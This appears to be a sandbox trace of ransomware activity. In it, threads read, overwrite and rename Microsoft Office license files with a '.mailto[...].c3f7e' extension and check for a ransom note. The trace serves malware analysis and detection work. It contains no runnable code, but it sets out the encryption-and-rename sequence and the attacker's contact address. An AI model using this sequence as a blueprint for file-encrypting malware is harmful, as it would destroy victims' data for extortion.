	[0093.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1165
	os_tid = 0x1ea8

	[0085.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0085.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1894
	[0085.878] GetFileSizeEx (in: hFile=0x1894, lpFileSize=0x28d3fee4 | out: lpFileSize=0x28d3fee4*=11591) returned 1
	[0085.878] SetFilePointerEx (in: hFile=0x1894, liDistanceToMove=0x2d43, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.878] ReadFile (in: hFile=0x1894, lpBuffer=0x28d3fe68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28d3fe64, lpOverlapped=0x0 | out: lpBuffer=0x28d3fe68*, lpNumberOfBytesRead=0x28d3fe64*=0x4, lpOverlapped=0x0) returned 1
	[0085.880] SetFilePointerEx (in: hFile=0x1894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.880] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.880] NtQuerySystemTime (in: CurrentTime=0x28d3fe44 | out: CurrentTime=0x28d3fe44*=132251868126088237) returned 0x0
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x8c2c62eb
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x4ef6bb7e
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x9d957514
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xe6971230
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xf4f562ae
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xb1c69672
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x1d6b5331
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xd037da7d
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x64017d13
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xf2d13564
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x4f481f7b
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xc3e15402
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xf9e18dc4
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x8275fd88
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xedaaf107
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x893595f9
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xa0b739b8
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x6a12e9e4
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x150a5fbc
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xc49351c8
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xbfbe2605
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x961e5abb
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x924e166
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xd62435d0
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xc20d356d
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x515ec51b
	[0085.880] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x6cb2e483
	[0085.881] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x5acfd0b3
	[0085.881] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xe25d7481
	[0085.881] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x758296c6
	[0085.881] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0xb6e1bca8
	[0085.881] RtlRandom (in: Seed=0x28d3fe50 | out: Seed=0x28d3fe50) returned 0x90725f15
	[0085.887] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.889] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.889] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.889] ReadFile (in: hFile=0x1894, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x2d47, lpNumberOfBytesRead=0x28d3fe40, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28d3fe40*=0x2d47, lpOverlapped=0x0) returned 1
	[0085.890] SetFilePointerEx (in: hFile=0x1894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.890] WriteFile (in: hFile=0x1894, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x2d47, lpNumberOfBytesWritten=0x28d3fe3c, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28d3fe3c*=0x2d47, lpOverlapped=0x0) returned 1
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4774c10
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x43) returned 0x4774760
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.892] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.892] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x127) returned 0x2d62e78
	[0085.892] SetFilePointerEx (in: hFile=0x1894, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.892] WriteFile (in: hFile=0x1894, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x28d3fea4, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x28d3fea4*=0x127, lpOverlapped=0x0) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774760) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4774c10) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.894] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47ebe88
	[0085.894] wcscpy (in: _Dest=0x47ebe88, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms"
	[0085.894] wcscat (in: _Dest=0x47ebe88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.894] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28d3fe5c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.894] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x477a460
	[0085.894] NtSetInformationFile (FileHandle=0x1894, IoStatusBlock=0x28d3fe54, FileInformation=0x477a460, Length=0xf8, FileInformationClass=0xa) returned 0x0
	[0085.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0085.895] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751f78) returned 1
	[0085.895] NtQueryInformationFile (in: FileHandle=0x1894, IoStatusBlock=0x28d3fe68, FileInformation=0x28d3fe40, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28d3fe68, FileInformation=0x28d3fe40) returned 0x0
	[0085.895] NtSetInformationFile (FileHandle=0x1894, IoStatusBlock=0x28d3fe68, FileInformation=0x28d3fe40, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.896] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ebe88) returned 1
	[0085.896] FlushFileBuffers (hFile=0x1894) returned 1
	[0093.081] CloseHandle (hObject=0x1894) returned 1
	[0093.082] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476d978
	[0093.082] wcscpy (in: _Dest=0x476d978, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.082] wcscat (in: _Dest=0x476d978, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1166
	os_tid = 0x1eac

	[0085.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 0x220
	[0085.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms", dwFileAttributes=0x20) returned 1
	[0085.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1898
	[0085.897] GetFileSizeEx (in: hFile=0x1898, lpFileSize=0x28dbfea8 | out: lpFileSize=0x28dbfea8*=6794) returned 1
	[0085.897] SetFilePointerEx (in: hFile=0x1898, liDistanceToMove=0x1a86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.897] ReadFile (in: hFile=0x1898, lpBuffer=0x28dbfe2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28dbfe28, lpOverlapped=0x0 | out: lpBuffer=0x28dbfe2c*, lpNumberOfBytesRead=0x28dbfe28*=0x4, lpOverlapped=0x0) returned 1
	[0085.899] SetFilePointerEx (in: hFile=0x1898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f70
	[0085.899] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.899] NtQuerySystemTime (in: CurrentTime=0x28dbfe08 | out: CurrentTime=0x28dbfe08*=132251868126400558) returned 0x0
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xc32b004c
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xc093ccf1
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xfbea654d
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x3250c93d
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xa3118b46
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x89b4d0d1
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xf005258a
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xd699d9d2
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x6f64afbd
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x7fbe27e3
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x1af87482
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xdf985149
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xd5c8ad9e
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x44a00c9f
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x8c6cdc55
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x84617873
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x6f1b2d57
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x2c832c28
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x864c55a0
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x5707cb23
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xa607c4ef
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x105f7956
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x831f2fa8
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xdbbd2080
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x4aae86b6
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xe10392b2
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x6df7783a
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xd5d2cb8a
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0xffb0772
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x116adb7a
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x264da446
	[0085.899] RtlRandom (in: Seed=0x28dbfe14 | out: Seed=0x28dbfe14) returned 0x88b2e6f5
	[0085.906] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76fe8
	[0085.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d68
	[0085.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0085.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0085.908] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0085.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f6e790
	[0085.908] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4895858
	[0085.908] ReadFile (in: hFile=0x1898, lpBuffer=0x4f6e790, nNumberOfBytesToRead=0x1a8a, lpNumberOfBytesRead=0x28dbfe04, lpOverlapped=0x0 | out: lpBuffer=0x4f6e790*, lpNumberOfBytesRead=0x28dbfe04*=0x1a8a, lpOverlapped=0x0) returned 1
	[0085.909] SetFilePointerEx (in: hFile=0x1898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.909] WriteFile (in: hFile=0x1898, lpBuffer=0x4895858*, nNumberOfBytesToWrite=0x1a8a, lpNumberOfBytesWritten=0x28dbfe00, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesWritten=0x28dbfe00*=0x1a8a, lpOverlapped=0x0) returned 1
	[0085.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0085.910] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.910] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4895858) returned 1
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f6e790) returned 1
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2dabdf0
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb348
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x49) returned 0x2dab870
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0085.911] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0085.911] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12d) returned 0x4ebca00
	[0085.911] SetFilePointerEx (in: hFile=0x1898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.911] WriteFile (in: hFile=0x1898, lpBuffer=0x4ebca00*, nNumberOfBytesToWrite=0x12d, lpNumberOfBytesWritten=0x28dbfe68, lpOverlapped=0x0 | out: lpBuffer=0x4ebca00*, lpNumberOfBytesWritten=0x28dbfe68*=0x12d, lpOverlapped=0x0) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebca00) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dab870) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabdf0) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f70) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0085.915] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d68) returned 1
	[0085.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x47ea808
	[0085.915] wcscpy (in: _Dest=0x47ea808, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms"
	[0085.915] wcscat (in: _Dest=0x47ea808, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.915] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x28dbfe20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.915] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481d3c0
	[0085.915] NtSetInformationFile (FileHandle=0x1898, IoStatusBlock=0x28dbfe18, FileInformation=0x481d3c0, Length=0xfe, FileInformationClass=0xa) returned 0x0
	[0085.916] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d3c0) returned 1
	[0085.917] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4752ff0) returned 1
	[0085.917] NtQueryInformationFile (in: FileHandle=0x1898, IoStatusBlock=0x28dbfe2c, FileInformation=0x28dbfe04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x28dbfe2c, FileInformation=0x28dbfe04) returned 0x0
	[0085.917] NtSetInformationFile (FileHandle=0x1898, IoStatusBlock=0x28dbfe2c, FileInformation=0x28dbfe04, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.918] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0085.918] FlushFileBuffers (hFile=0x1898) returned 1
	[0093.082] CloseHandle (hObject=0x1898) returned 1
